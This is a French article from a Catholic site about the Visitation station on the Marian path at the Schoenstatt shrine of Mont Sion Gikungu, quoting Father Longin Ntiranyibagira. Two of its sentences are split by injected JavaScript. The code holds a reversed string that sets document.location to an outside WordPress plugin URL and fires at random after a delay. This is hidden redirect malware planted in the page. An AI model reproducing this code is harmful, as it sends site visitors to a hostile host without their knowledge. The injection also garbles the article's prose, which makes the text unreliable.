Nous nous rentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dons au Sanctuaire Marial de Schoenstatt Mont Sion Gikungu. Nous empruntons le chemin marial. Cette fois-ci, nous sommes à la deuxième station de ce dernier.

La visitation

Comme convenu dans l’article du 10 décembre, nous sommes devant la sculpture de la deuxième station du chemin marial. Cette sculpture nous montre deux dames qui se saluent chaleureusement. Il s’agit de Marie et Elisabeth. C’est comme l’histoire d’une rencontre entre deux femmes qui jouissent d’une bonne espérance tel que nous est rapporté par l’Évangéliste Luc au chapitre 1,39-55. C’est la Visitation

Père Longin NTIRANYIBAGIRA, un des Pères de Schoenstatt nous fait le point sur cette station : « Marie, après avoir accueilli l’annonce de l’ange qu’elle va être la mère du sauveur, elle était allée visiter sa cousine Elisabeth pour lui partager sa joie et le secret qu’il lui a été partagé par l’ange. »

Marie n’a pas tardé d’apporter la bonne nouvelle du salut à sa cousine, elle est partie en hâte et c’était une joie intense. Elisabeth avait senti  cette joie tout juste après la salutation de Marie, Jean Baptiste l’enfant  qu’elle porta en elle avait tressaillit de joie. Marie tenait en elle le Christ la véritable joie. « La Vierge Marie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit être notre exemple non seulement  pour se presser à annoncer la bonne nouvelle du salut mais aussi pour manifester l’amour envers nos frères et sœurs.» a signalé Père Longin.

Au centre de cette rencontre se trouve une reconnaissance et une déclaration qui émane de l’Esprit Saint : « Tu es bénie plus que toutes les femmes » (Lc 1,42) avait déclaré Elisabeth. Et Marie de dire : « Mon âme exalte le Seigneur » (Lc 1,46). Le Père Longin rappelle que c’est à cette station que jaillit le cantique d’action de grâce de Marie dans lequel le sanctuaire trouve son devise pour cette année jubilaire : « Le Puissant fit pour moi des merveilles ; saint est son nom » (Luc 1,49).

Dans notre article suivant, nous allons nous arrêter devant la troisième station.

Brigitte IRAKOZE

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